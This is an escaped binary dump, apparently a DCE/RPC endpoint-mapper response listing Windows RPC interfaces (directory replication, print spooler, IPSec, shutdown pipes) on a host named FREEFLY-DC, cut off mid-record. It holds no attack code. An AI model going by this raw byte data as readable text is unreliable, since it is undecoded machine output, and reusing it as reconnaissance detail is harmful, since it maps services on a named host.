name\\x00\\xdd\\xc7\\xf7\\xd1$\\xafv(O\\x9c\\xcd\\x7fl\\xb6F\\x86\\x01>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xc7\\xf7\\xd1$\\xafv(O\\x9c\\xcd\\x7fl\\xb6F\\x86\\x01?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xddgpclient\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xddgpclient\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xddprofiles\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00B\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00WinHttp Auto-Proxy Service\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00WinHttp Auto-Proxy Service\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00WinHttp Auto-Proxy Service\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00WinHttp Auto-Proxy Service\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00NSI server endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00NSI server endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00I\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00Fw APIs\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00Fw APIs\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00K\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00Base Firewall Engine API\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00M\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00N\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00O\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00R\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00S\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00T\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00U\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00V\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00W\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Y\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Z\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00[\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00]\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00^\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00_\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00g\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00h\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00i\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00j\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00k\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00l\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00m\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00o\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00p\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00u\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00v\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00x\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00y\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00z\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00{\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00|\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00~\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x81\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x83\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00MS NT Directory DRS Interface\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00Spooler function endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x00\\x00Spooler base remote object endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00Spooler function endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x92\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x94\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x95\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00IPSec Policy agent endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00IPSec Policy agent endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x99\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00Remote Fw APIs\\x00\\xdd\\x08n\\xfb\\xec\\xaek\\x1a@\\x97}\\x10x\\xd7\\xe2A\\xd4\\x9a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x08n\\xfb\\xec\\xaek\\x1a@\\x97}\\x10x\\xd7\\xe2A\\xd4\\x9b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd-\\xa9\\xf0%\\x1d.\\xe5N\\xa4CG\\xa6\\xd0\\xf3W!\\x9c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xddx\\xaf\\x13\\x9aR\\x87\\xedL\\xaa\\xfa\\xb2\\x1e\\xd8\\x8a\\xbf\\\\\\x9d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xddR\\x19\\x10\\xdd\\x0c\\xfb\\x8f@\\xa3\\xfa6\\x1a\\x07a\\xd5U\\x9e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x94\\xedS\\xe7>mlB\\xba><\\x11\\xf1\\x07\\xe2`\\x9f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x07\\xed\\xc1[\\xf5\\xf5_H\\x9d\\xfdo\\xd0\\xac\\xf9\\xa2<\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00Frs2 Service\\x00\\xdd\\xdd\\xdd\\x07\\xed\\xc1[\\xf5\\xf5_H\\x9d\\xfdo\\xd0\\xac\\xf9\\xa2<\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00Frs2 Service\\x00\\xcc\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rp\\xfeZ\\xd9\\xd5\\xa6YB\\x82.,\\x84\\xda\\x1d\\xdb\\r\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x00\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rp\\xfeZ\\xd9\\xd5\\xa6YB\\x82.,\\x84\\xda\\x1d\\xdb\\r\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00WindowsShutdown\\x00e\\x00\\x00\\x00e\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rp\\xfeZ\\xd9\\xd5\\xa6YB\\x82.,\\x84\\xda\\x1d\\xdb\\r\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x13\\x00\\\\PIPE\\\\InitShutdown\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xcc\\xccO\\x00\\x00\\x00O\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rp\\xfeZ\\xd9\\xd5\\xa6YB\\x82.,\\x84\\xda\\x1d\\xdb\\r\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0f\\x00WMsgKRpc052A70\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xc3&\\xf2v\\x14\\xec%C\\x8a\\x99jF4\\x84\\x18\\xaf\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00WindowsShutdown\\x00e\\x00\\x00\\x00e\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\xc3&\\xf2v\\x14\\xec%C\\x8a\\x99jF4\\x84\\x18\\xaf\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x13\\x00\\\\PIPE\\\\InitShutdown\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xcc\\xccO\\x00\\x00\\x00O\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xc3&\\xf2v\\x14\\xec%C\\x8a\\x99jF4\\x84\\x18\\xaf\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0f\\x00WMsgKRpc052A70\\x00\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\